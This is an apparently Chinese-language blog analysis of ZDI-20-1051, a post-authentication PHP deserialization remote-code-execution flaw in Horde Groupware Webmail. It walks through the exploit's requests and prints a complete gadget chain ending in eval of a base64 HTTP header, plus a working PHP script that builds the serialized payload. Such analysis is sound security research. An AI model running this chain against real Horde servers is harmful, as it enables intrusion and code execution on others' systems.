Horde Groupware Webmail 反序列化漏洞分析
Horde Groupware Webmail 反序列化漏洞分析
简介
Horde Groupware Webmail是美国Horde公司的一套基于浏览器的企业级通信套件。 Horde Groupware Webmail中存在代码注入漏洞。该漏洞源于外部输入数据构造代码段的过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞生成非法的代码段,修改网络系统或组件的预期的执行控制流。
漏洞详情
编号 ZDI-20-1051 ZDI-CAN-10436
此漏洞使远程攻击者可以在受影响的Horde Groupware Webmail Edition安装上执行任意代码。利用身份验证才能利用此漏洞。
具体缺陷存在于Sort.php中。解析sortpref参数时,该过程无法正确验证用户提供的数据,这可能导致不信任数据的反序列化。攻击者可以利用此漏洞在www-data用户的上下文中执行代码。
EXP
https://srcincite.io/pocs/zdi-20-1051.py.txt
环境搭建
漏洞分析
从网传的EXP开始入手分析
第一步先通过登录获取session, 图中选中部分
第二步,请求路径services/ajax.php/imp/setPrefValue
这里对该路径发起请求了两次,第一次没有token,请求后会返回:
/*-secure-{"msgs":[{"message":"\/login.php?url=%2Fimp%2F&horde_logout_token=_4_uPKN0JXhJs67E2Cz0chQ&logout_reason=6","type":"horde.ajaxtimeout"}],"response":false}*/
第二次请求会将horde_logout_token
的值作为token
到这里可以发现,get请求参数value是恶意序列化内容,pref还不知道是什么东西,还有路径ajax.php后面接的/imp/setPrefValue是什么东西
services/ajax.php是可以不需要认证就可以访问的,exp却进行了认证,带着这些疑问,调试代码,慢慢分析
首先来到services/ajax.php
开头就已经告诉我们/imp/setPrefValue是什么东西,通过url分割出来分别给参数$app、$action赋值
往下
这个是用来获取请求参数的,看Horde_Variables这个类的构造函数就知道
获取请求参数后var如下:
继续往下
这个是对类Horde_Core_Factory_Ajax进行实例化,并且调用他的create方法
跟进查看
这里new了一个类,类是由$app控制的,说明可控制,还有其他 _Ajax_Application类可探索
看看IMP_Ajax_Application的构造方法,发现没有__construct
,只有__init()
,不过它的父类Horde_Core_Ajax_Application有,并且调用了__init()
在IMP_Ajax_Application的__init()
中存在以下操作,这个后面有用
$this->addHandler('IMP_Ajax_Application_Handler_ImageUnblock');
$this->addHandler('Horde_Core_Ajax_Application_Handler_Imple');
$this->addHandler('Horde_Core_Ajax_Application_Handler_Prefs');
回到父类Horde_Core_Ajax_Application的构造函数,在这里进行了认证检查和token校验
往下回到services/ajax.php
这里会调用一个doAction方法,其中$ajax就是上面new的一个IMP_Ajax_Application对象
跟进doAction,来到了IMP_Ajax_Application的父类Horde_Core_Ajax_Application的doAction方法
这里存在一个call_user_func调用$ob类的$this->_action方法
其中$this->_action是来自构造函数传参来到,也就是前面的$action : setPrefValue
而$ob来自_getHandler()
protected function _getHandler()
{
foreach ($this->_handlers as $ob) {
if ($ob->has($this->_action)) {
return $ob;
}
}
return null;
}
其实就是查看哪个Handler存在setPrefValue方法就返回哪个Handler类,这个类其实就是前面addHandler的那些
所以这里的Handler为Horde_Core_Ajax_Application_Handler_Prefs,然后setPrefValue方法如下
public function setPrefValue()
{
return $GLOBALS['prefs']->setValue(
$this->vars->pref,
$this->vars->value
);
}
就是给全局变量prefs
赋值$this->vars->pref和$this->vars->value分别是get传参pref=
和value=
,将sortpref的值赋值为恶意的序列化数据
这个请求的作用就到这里了
第三步,请求路径services/ajax.php/imp/imple
这里也是需要先获取token,再请求一次
由上面第二步的分析可知,这次的action变为了imple了 ,其中cmd为base64加密后的php代码,这些代码是需要执行的代码,由于该漏洞没有回显,这里使用了 反弹shell的方式
因为这次的action变为了imple了,所有在services/ajax.php的$ajax->doAction();
这一步里面调用了Horde_Core_Ajax_Application_Handler_Imple
的imple方法
在这里会调用Horde_Core_Factory_Imple的create方法,其中$this->vars->imple = IMP_Prefs_Sort
跟进create方法
这里会new一个类,这个类是由$driver决定的,就是get传参imple=IMP_Prefs_Sort
跟进_getDriverName
看看
可以看到如果$driver这个类存在的话就直接返回了这个类,也就是IMP_Prefs_Sort
所有获取的对象是IMP_Prefs_Sort对象,看看这个类的构造函数
public function __construct()
{
global $prefs;
$sortpref = @unserialize($prefs->getValue(self::SORTPREF));
if (is_array($sortpref)) {
$this->_sortpref = $sortpref;
}
}
这里可以看到反序列化全局变量prefs['sortpref']
的值,也就是第二部传入的恶意序列化数据
至此,反序列化漏洞触发
第四步:漏洞利用完成后,还原prefs[‘sortpref’]原本的值,不影响系统正常运行
def get_patch():
""" Our original array """
patch = 'a:1:{'
patch += 's:5:"INBOX";a:1:{'
patch += 's:1:"b";i:6;'
patch += '}}'
return patch
序列化链分析
下面是exp中给出的序列化链,格式化后如下:
O:34:"Horde_Kolab_Server_Decorator_Clean":2:{
S:43:"\00Horde_Kolab_Server_Decorator_Clean\00_server";
O:20:"Horde_Prefs_Identity":3:{
S:9:"\00*\00_prefs";
O:11:"Horde_Prefs":2:{
S:8:"\00*\00_opts";
a:1:{
s:12:"sizecallback";
a:2:{
i:0;
O:12:"Horde_Config":1:{
S:13:"\00*\00_oldConfig";
s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";
}
i:1;
s:13:"readXMLConfig";
}
}
S:10:"\00*\00_scopes";
a:1:{
s:5:"horde";
C:17:"Horde_Prefs_Scope":10:{
[null, [1]]
}
}
}
S:13:"\00*\00_prefnames";
a:1:{
s:10:"identities";
i:0;
}
S:14:"\00*\00_identities";
a:1:{
i:0;
i:0;
}
}
S:42:"\00Horde_Kolab_Server_Decorator_Clean\00_added";
a:1:{
i:0;
i:0;
}
}
由该序列化链可知,链子是从类Horde_Kolab_Server_Decorator_Clean开始的,并且需要设置属性_server
为Horde_Prefs_Identity对象,设置_added
为一个非空数组
那么就看它的__destruct
或者__wakeup
,这个类只有__destruct
public function __destruct()
{
try {
$this->cleanup();
} catch (Horde_Kolab_Server_Exception $e) {
}
}
这里只能进入cleanup()了
public function cleanup()
{
foreach ($this->_added as $guid) {
$this->delete($guid);
}
}
这里还没有用到_server
,需要进入delete()
public function delete($guid)
{
$this->_server->delete($guid);
if (in_array($guid, $this->_added)) {
$this->_added = array_diff($this->_added, array($guid));
}
}
到这里 $this->_server
设置了为Horde_Prefs_Identity
对象,所有下一步跳转到了Horde_Prefs_Identity的delete方法
public function delete($identity)
{
$deleted = array_splice($this->_identities, $identity, 1);
if (!empty($deleted)) {
foreach (array_keys($this->_identities) as $id) {
if ($this->setDefault($id)) {
break;
}
}
$this->save();
}
return reset($deleted);
}
这个对象设置属性_identities
、_prefs
、_prefnames
的值,其中_prefs
为Horde_Prefs
对象,所有分析进入下个对象不在这里,跟进save()方法
public function save()
{
$this->_prefs->setValue($this->_prefnames['identities'], serialize($this->_identities));
$this->_prefs->setValue($this->_prefnames['default_identity'], $this->_default);
}
在save()方法就可以跳转到Horde_Prefs
的setValue方法了
public function setValue($pref, $val, array $opts = array())
{
/* Exit early if preference doesn't exist or is locked. */
if (!($scope = $this->_getScope($pref)) ||
(empty($opts['force']) &&
$this->_scopes[$scope]->isLocked($pref))) {
return false;
}
// Check to see if the value exceeds the allowable storage limit.
if ($this->_opts['sizecallback'] &&
call_user_func($this->_opts['sizecallback'], $pref, strlen($val))) {
return false;
}
...
return true;
}
在Horde_Prefs对象中,对下面两个属性进行控制
$this->_opts['sizecallback'] = array(new Horde_Config(), 'readXMLConfig');
$this->_scopes['horde'] = new Horde_Prefs_Scope;
所以在setValue中通过call_user_func
调用了Horde_Config类的readXMLConfig方法
public function readXMLConfig($custom_conf = null)
{
if (!is_null($this->_xmlConfigTree) && !$custom_conf) {
return $this->_xmlConfigTree;
}
$path = $GLOBALS['registry']->get('fileroot', $this->_app) . '/config';
if ($custom_conf) {
$this->_currentConfig = $custom_conf;
} else {
/* Fetch the current conf.php contents. */
@eval($this->getPHPConfig());
if (isset($conf)) {
$this->_currentConfig = $conf;
}
}
...
}
这里发现@eval()
,跟进getPHPConfig查看
public function getPHPConfig()
{
if (!is_null($this->_oldConfig)) {
return $this->_oldConfig;
}
....
return $this->_oldConfig;
}
$this->_oldConfig
可控,只有将$this->_oldConfig
设置为需要执行的恶意代码即可
整个链大概就这样了,具体细节就不分析了
最终生成序列化字符串的poc如下
<?php
class Horde_Kolab_Server_Decorator_Clean
{
private $_server, $_added;
function __construct()
{
$this->_added = array(0);
$this->_server = new Horde_Prefs_Identity();
}
}
class Horde_Prefs_Identity
{
protected $_prefs, $_prefnames, $_identities;
function __construct()
{
$this->_identities = array(0);
$this->_prefs = new Horde_Prefs();
$this->_prefnames['identities'] = 0;
}
}
class Horde_Prefs
{
protected $_opts, $_scopes;
function __construct()
{
$this->_opts['sizecallback'] = array(new Horde_Config(), 'readXMLConfig');
$this->_scopes['horde'] = new Horde_Prefs_Scope;
}
}
class Horde_Config
{
protected $_oldConfig;
function __construct()
{
$this->_oldConfig = "phpinfo();";#需要执行的代码
}
}
class Horde_Prefs_Scope implements Serializable
{
protected $_prefs = array(1);
protected $scope;
public function serialize()
{
return json_encode(array(
$this->scope,
$this->_prefs
));
}
public function unserialize($data)
{
list($this->scope, $this->_prefs) = json_decode($data, true);
}
}
$object = new Horde_Kolab_Server_Decorator_Clean();
echo urlencode(serialize($object));
参考
https://srcincite.io/pocs/zdi-20-1051.py.txt
https://github.com/ambionics/phpggc/blob/master/gadgetchains/Horde/RCE/1/gadgets.php